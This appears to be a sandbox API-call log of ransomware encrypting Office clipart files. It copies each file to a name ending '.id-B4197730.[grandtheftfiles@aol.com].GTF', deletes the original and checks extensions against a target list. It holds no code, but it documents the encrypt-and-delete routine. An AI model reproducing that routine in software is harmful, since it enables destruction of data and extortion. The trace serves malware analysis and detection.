	[0160.933] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0160.933] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0160.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0160.933] GetLastError () returned 0x0
	[0160.933] ReadFile (in: hFile=0x4bc, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x4dd3, lpOverlapped=0x0) returned 1
	[0160.936] WriteFile (in: hFile=0x494, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x4de0, lpOverlapped=0x0) returned 1
	[0160.937] ReadFile (in: hFile=0x4bc, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0160.937] WriteFile (in: hFile=0x494, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0160.937] SetEndOfFile (hFile=0x494) returned 1
	[0160.937] CloseHandle (hObject=0x494) returned 1
	[0160.937] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0160.938] SetEndOfFile (hFile=0x4bc) returned 1
	[0160.940] CloseHandle (hObject=0x4bc) returned 1
	[0160.940] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0160.940] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif")) returned 1
	[0160.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68
	[0160.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68
	[0160.941] lstrlenW (lpString=".doc") returned 4
	[0160.941] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0160.941] lstrlenW (lpString=".docx") returned 5
	[0160.941] lstrcmpiW (lpString1=".docx", lpString2="5.GIF") returned -1
	[0160.941] lstrlenW (lpString=".pdf") returned 4
	[0160.941] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0160.941] lstrlenW (lpString=".xls") returned 4
	[0160.941] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0160.941] lstrlenW (lpString=".xlsx") returned 5
	[0160.941] lstrcmpiW (lpString1=".xlsx", lpString2="5.GIF") returned -1
	[0160.941] lstrlenW (lpString=".ppt") returned 4
	[0160.941] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0160.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68
	[0160.941] lstrlenW (lpString=".zip") returned 4
	[0160.941] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0160.941] lstrlenW (lpString=".rar") returned 4
	[0160.941] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0160.942] lstrlenW (lpString=".bz2") returned 4
	[0160.942] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0160.942] lstrlenW (lpString=".7z") returned 3
	[0160.942] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0160.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68
	[0160.942] lstrlenW (lpString=".dbf") returned 4
	[0160.942] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0160.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68
	[0160.942] lstrlenW (lpString=".1cd") returned 4
	[0160.942] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0160.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68
	[0160.942] lstrlenW (lpString=".jpg") returned 4
	[0160.942] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0160.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68
	[0160.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68
	[0160.942] lstrlenW (lpString=".doc") returned 4
	[0160.942] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0160.942] lstrlenW (lpString=".docx") returned 5
	[0160.942] lstrcmpiW (lpString1=".docx", lpString2="5.GIF") returned -1
	[0160.942] lstrlenW (lpString=".pdf") returned 4
	[0160.942] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0160.942] lstrlenW (lpString=".xls") returned 4
	[0160.942] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0160.942] lstrlenW (lpString=".xlsx") returned 5
	[0160.942] lstrcmpiW (lpString1=".xlsx", lpString2="5.GIF") returned -1
	[0160.943] lstrlenW (lpString=".ppt") returned 4
	[0160.943] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0160.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68
	[0160.943] lstrlenW (lpString=".zip") returned 4
	[0160.943] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0160.943] lstrlenW (lpString=".rar") returned 4
	[0160.943] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0160.943] lstrlenW (lpString=".bz2") returned 4
	[0160.943] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0160.943] lstrlenW (lpString=".7z") returned 3
	[0160.943] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0160.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68
	[0160.943] lstrlenW (lpString=".dbf") returned 4
	[0160.943] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0160.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68
	[0160.943] lstrlenW (lpString=".1cd") returned 4
	[0160.943] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0160.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68
	[0160.943] lstrlenW (lpString=".jpg") returned 4
	[0160.943] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0160.943] lstrcmpiW (lpString1=".GIF", lpString2=".GTF") returned -1
	[0160.943] lstrlenW (lpString="J0099196.GIF") returned 12
	[0160.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0160.946] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=14337) returned 1
	[0160.946] CloseHandle (hObject=0x4bc) returned 1
	[0160.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif")) returned 0x220
	[0160.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0160.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0160.946] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0160.946] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0160.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0160.947] GetLastError () returned 0x0
	[0160.947] ReadFile (in: hFile=0x4bc, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x3801, lpOverlapped=0x0) returned 1
	[0160.949] WriteFile (in: hFile=0x494, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x3810, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x3810, lpOverlapped=0x0) returned 1
	[0160.950] ReadFile (in: hFile=0x4bc, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0160.950] WriteFile (in: hFile=0x494, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0160.950] SetEndOfFile (hFile=0x494) returned 1
	[0160.950] CloseHandle (hObject=0x494) returned 1
	[0160.950] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0160.950] SetEndOfFile (hFile=0x4bc) returned 1
	[0160.953] CloseHandle (hObject=0x4bc) returned 1
	[0160.953] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0160.953] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif")) returned 1
	[0160.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68
	[0160.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68
	[0160.954] lstrlenW (lpString=".doc") returned 4
	[0160.954] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0160.954] lstrlenW (lpString=".docx") returned 5
	[0160.954] lstrcmpiW (lpString1=".docx", lpString2="6.GIF") returned -1
	[0160.954] lstrlenW (lpString=".pdf") returned 4
	[0160.954] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0160.954] lstrlenW (lpString=".xls") returned 4
	[0160.954] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0160.954] lstrlenW (lpString=".xlsx") returned 5
	[0160.954] lstrcmpiW (lpString1=".xlsx", lpString2="6.GIF") returned -1
	[0160.954] lstrlenW (lpString=".ppt") returned 4
	[0160.954] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0160.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68
	[0160.954] lstrlenW (lpString=".zip") returned 4
	[0160.954] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0160.954] lstrlenW (lpString=".rar") returned 4
	[0160.954] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0160.954] lstrlenW (lpString=".bz2") returned 4
	[0160.954] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0160.954] lstrlenW (lpString=".7z") returned 3
	[0160.954] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0160.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68
	[0160.954] lstrlenW (lpString=".dbf") returned 4
	[0160.954] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0160.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68
	[0160.955] lstrlenW (lpString=".1cd") returned 4
	[0160.955] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0160.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68
	[0160.955] lstrlenW (lpString=".jpg") returned 4
	[0160.955] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0160.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68
	[0160.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68
	[0160.955] lstrlenW (lpString=".doc") returned 4
	[0160.955] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0160.955] lstrlenW (lpString=".docx") returned 5
	[0160.955] lstrcmpiW (lpString1=".docx", lpString2="6.GIF") returned -1
	[0160.955] lstrlenW (lpString=".pdf") returned 4
	[0160.955] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0160.955] lstrlenW (lpString=".xls") returned 4
	[0160.955] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0160.955] lstrlenW (lpString=".xlsx") returned 5
	[0160.955] lstrcmpiW (lpString1=".xlsx", lpString2="6.GIF") returned -1
	[0160.955] lstrlenW (lpString=".ppt") returned 4
	[0160.955] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0160.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68
	[0160.955] lstrlenW (lpString=".zip") returned 4
	[0160.955] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0160.955] lstrlenW (lpString=".rar") returned 4
	[0160.955] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0160.955] lstrlenW (lpString=".bz2") returned 4
	[0160.955] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0160.955] lstrlenW (lpString=".7z") returned 3
	[0160.955] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0160.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68
	[0160.955] lstrlenW (lpString=".dbf") returned 4
	[0160.955] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0160.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68
	[0160.955] lstrlenW (lpString=".1cd") returned 4
	[0160.955] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0160.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68
	[0160.956] lstrlenW (lpString=".jpg") returned 4
	[0160.956] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0160.956] lstrcmpiW (lpString1=".GIF", lpString2=".GTF") returned -1
	[0160.956] lstrlenW (lpString="J0099197.GIF") returned 12
	[0160.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0160.956] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=10898) returned 1
	[0160.956] CloseHandle (hObject=0x4bc) returned 1
	[0160.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif")) returned 0x220
	[0160.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0160.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0160.957] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0160.957] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0160.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0160.958] GetLastError () returned 0x0
	[0160.958] ReadFile (in: hFile=0x4bc, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x2a92, lpOverlapped=0x0) returned 1
	[0161.057] WriteFile (in: hFile=0x494, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x2aa0, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x2aa0, lpOverlapped=0x0) returned 1
	[0161.058] ReadFile (in: hFile=0x4bc, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0161.058] WriteFile (in: hFile=0x494, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0161.058] SetEndOfFile (hFile=0x494) returned 1
	[0161.059] CloseHandle (hObject=0x494) returned 1
	[0161.059] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.059] SetEndOfFile (hFile=0x4bc) returned 1
	[0161.063] CloseHandle (hObject=0x4bc) returned 1
	[0161.063] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0161.118] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif")) returned 1
	[0161.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68
	[0161.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68
	[0161.318] lstrlenW (lpString=".doc") returned 4
	[0161.318] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0161.318] lstrlenW (lpString=".docx") returned 5
	[0161.318] lstrcmpiW (lpString1=".docx", lpString2="7.GIF") returned -1
	[0161.318] lstrlenW (lpString=".pdf") returned 4
	[0161.318] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0161.318] lstrlenW (lpString=".xls") returned 4
	[0161.318] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0161.318] lstrlenW (lpString=".xlsx") returned 5
	[0161.318] lstrcmpiW (lpString1=".xlsx", lpString2="7.GIF") returned -1
	[0161.318] lstrlenW (lpString=".ppt") returned 4
	[0161.318] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0161.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68
	[0161.319] lstrlenW (lpString=".zip") returned 4
	[0161.319] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0161.327] lstrlenW (lpString=".rar") returned 4
	[0161.327] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0161.327] lstrlenW (lpString=".bz2") returned 4
	[0161.327] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0161.327] lstrlenW (lpString=".7z") returned 3
	[0161.327] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0161.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68
	[0161.327] lstrlenW (lpString=".dbf") returned 4
	[0161.327] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0161.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68
	[0161.336] lstrlenW (lpString=".1cd") returned 4
	[0161.336] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0161.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68
	[0161.336] lstrlenW (lpString=".jpg") returned 4
	[0161.336] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0161.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68
	[0161.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68
	[0161.336] lstrlenW (lpString=".doc") returned 4
	[0161.336] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0161.336] lstrlenW (lpString=".docx") returned 5
	[0161.336] lstrcmpiW (lpString1=".docx", lpString2="7.GIF") returned -1
	[0161.336] lstrlenW (lpString=".pdf") returned 4
	[0161.336] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0161.336] lstrlenW (lpString=".xls") returned 4
	[0161.336] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0161.336] lstrlenW (lpString=".xlsx") returned 5
	[0161.336] lstrcmpiW (lpString1=".xlsx", lpString2="7.GIF") returned -1
	[0161.336] lstrlenW (lpString=".ppt") returned 4
	[0161.336] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0161.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68
	[0161.336] lstrlenW (lpString=".zip") returned 4
	[0161.336] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0161.336] lstrlenW (lpString=".rar") returned 4
	[0161.336] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0161.337] lstrlenW (lpString=".bz2") returned 4
	[0161.337] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0161.337] lstrlenW (lpString=".7z") returned 3
	[0161.337] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0161.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68
	[0161.337] lstrlenW (lpString=".dbf") returned 4
	[0161.337] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0161.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68
	[0161.337] lstrlenW (lpString=".1cd") returned 4
	[0161.337] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0161.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68
	[0161.337] lstrlenW (lpString=".jpg") returned 4
	[0161.337] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0161.337] lstrcmpiW (lpString1=".BMP", lpString2=".GTF") returned -1
	[0161.337] lstrlenW (lpString="J0101856.BMP") returned 12
	[0161.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0161.528] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=78840) returned 1
	[0161.528] CloseHandle (hObject=0x4b4) returned 1
	[0161.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp")) returned 0x220
	[0161.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
